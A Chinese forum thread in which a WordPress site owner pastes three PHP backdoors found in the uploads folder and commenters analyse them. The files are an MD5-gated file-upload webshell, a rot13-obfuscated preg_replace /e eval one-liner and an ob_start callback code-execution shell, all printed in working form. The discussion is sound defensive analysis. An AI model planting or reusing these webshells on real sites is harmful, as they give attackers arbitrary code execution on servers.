今检查 wordpress 的上传目录wp-content/uploads
发现 3 个.php
文件
第一个./2014/12/conf-72e 内容如下
<?php if(isset($_GET["ms-load"]) && md5($_GET["ms-load"])=="10c0d9d7dbb63d34fdb2cafee8782911"){
$p=$_SERVER["DOCUMENT_ROOT"];
$tyuf=dirname(__FILE__);
echo <<<HTML
<form enctype="multipart/form-data" method="POST">
Path:$p<br>
<input name="file" type="file"><br>
To:<br>
<input size="48" value="$tyuf/" name="pt" type="text"><br>
<input type="submit" value="Upload">
HTML;
if (isset($_POST["pt"])){
$uploadfile = $_POST["pt"].$_FILES["file"]["name"];
if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
echo"uploaded:$uploadfile";
echo"Size:".$_FILES["file"]["size"]."n";
}else {
print "Error:n";
}
}
}
第二个./2015/03/conf-72 内容如下
<?php isset($_POST['8rfhxs']) && ($www= $_POST['8rfhxs']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');
第三个./2015/07/cp1251-72 内容如下
<?php
if(isset($_GET['8rfhxs']) && isset($_GET['catid'])){
$id = $_GET['8rfhxs'];
echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):'';
$s = '';
foreach(array($id) as $v){
$s.=$v;
}
ob_start($s);
if($catid){
echo $catid;
}
ob_end_flush();
}
这三个好像都和传入参数有关,但里面变量不少,尤其是第一个(看起来像是先检测传入参数的 MD5,如吻合,就 POST 站点根目录下的什么东西,也没体现到什么域名 /IP,看起来很像后门.)
上传时间都是 16 年 12 月,那时我已在上传目录的.htaccess
添加了php_flag engine off
,使这个目录下的 PHP 文件不被解析。
可能因此骇客没得手.
1
litter123 2017-08-27 22:33:38 +08:00
赶紧查查日志,看看哪些 IP 访问了,来一个逆袭 233
|
2
Hardrain OP |
3
Hardrain OP 此外,wordpress 本身的安全性还算不错
我想知道这个后门怎么进来的…… 补充:ms-load.php 是 wordpress 的组件 但经检索,$catid 这个变量出现于 PHPCMS,而非 WP |
4
litter123 2017-08-27 22:38:50 +08:00
@Hardrain 我记得我有一次搬运博客的时候也发现一些来路不明的 PHP,看起来也像是后门,不过服务器倒是没有被黑进的迹象
|
5
huafang 2017-08-27 23:47:43 +08:00
怎么查看日志里的不正常访问呢
|
6
wql 2017-08-27 23:49:15 +08:00 via Android
这就是后门吧……赶紧看看 apache 啥的 php 啥的升级一下
|
8
yksoft1 2017-08-28 00:19:35 +08:00
我突然关注的是 PHP 的 echo 的这个用法以前居然一直不知道。第一个就是个上传器吧
|
9
jhdxr 2017-08-28 01:13:28 +08:00 1
@yksoft1 这个不是 echo 的用法,是 heredoc: http://php.net/manual/zh/language.types.string.php#language.types.string.syntax.heredoc
|
11
ic3z 2017-08-28 06:23:10 +08:00 1
第二个利用 preg_replace 的 /e 模式执行代码
第三个利用 ob_start 的第一个 callback 参数执行代码 http://php.net/manual/en/function.ob-start.php |
12
90safe 2017-08-28 08:55:59 +08:00
第三个是回调函数后门吧
|
13
JackBlack2006 2017-08-28 09:15:29 +08:00
看到这个贴我去检查了一下我的 WP,过去一周里有个阿三攻击过……
103.204.244.6 Bangladesh Bangladesh 1 |
14
fucker 2017-08-28 09:20:16 +08:00 3
第一个文件是非常明显的带有身份验证的上传文件的后门脚本,
早先的黑客手段(也许现在也不过时吧): 通常是利用 web 程序的上传点 /文件写入 /命令执行 /高权限注入等方式向服务器写入被称为“小马”的可执行脚本 这类脚本特征是体积小,能避开脚本层面的文件大小限制,以便上传体积更大功能更全的“大马” 第一个文件中的 MD5:10c0d9d7dbb63d34fdb2cafee8782911 解密结果为:8rfhxs 与后两个文件对比,可以断定是同一名黑客所为 至于你所说的 ms-load 是某某组件,catid 又是某某 CMS 的变量 这样说有点狭隘,因为木马是可以伪装的,而变量名的选用也是自由的。 catid 就可以理解为 category id 吧,我相信不少开发人员开发数据库都会用 catid 做分类 ID 使用。 偷偷说一下,我自己就这么用过。 判断是不是木马,不是看它和别的程序 /组件 /插件 /代码的相似性,而是要从它的功能来判断 第二个文件是一个比较经典的“一句话木马” 其中用 rot13 转换了 riny 为 eval,其目的是为了执行任意 php 代码。 第三个文件,也很明显,是一个绕过 XX 盾之类安全防护软件的变形 php 一句话木马 其目的也是为了执行任意 php 代码。 简而言之,都是后门,虽然暂时看起来没什么影响,不过还是赶快补补吧。 |
15
jianghejie 2017-08-28 09:44:31 +08:00
这很简单的漏洞啊,其实跟 worldpress 没关系,uplaod 之类的目录下是不能有脚本执行权限的
|
16
dh7758 2017-08-28 11:30:55 +08:00
一句话?
|
17
Hardrain OP @fucker 感谢分析!
关于命名空间我的确有些狭隘了 那个 CMS 的文档也说 catid 就是 category id 另外我怎么觉得第一个是要通过 HTTP POST 窃取服务器上指定文件…… 不过全都删除了,一直没被黑的迹象可能是因为我停用了上传目录的 PHP 解析 |
18
Hardrain OP @ic3z 不过按照 PHP Document 的说法 \e 这个修饰符从 5.5.0/7.0.0 版本开始就被弃用了……
|
21
fucker 2017-08-28 16:56:46 +08:00
@Hardrain 明显不是窃取,很明显的 $uploadfile
你仔细看一下代码执行的过程,是将 POST 中的文件取出,然后用 copy 函数复制(保存) 最简单的方法,你本地搭个 PHP 环境试一下就知道了 :) |
22
loser 2017-08-29 11:10:40 +08:00
防不胜防,奇技淫巧真是多啊,现在的玩法真是溜的 1b
|
23
ragnaroks 2017-08-30 08:39:49 +08:00
wordpress 安装好给予 / 禁止写权限,装个插件将所有附件存到 bos/oss/s3 等,手动升级 /装插件
|
24
ragnaroks 2017-08-30 08:40:36 +08:00
如果是阿帕奇的话就不行了,不能禁止根目录写,不然 500,原因未知
|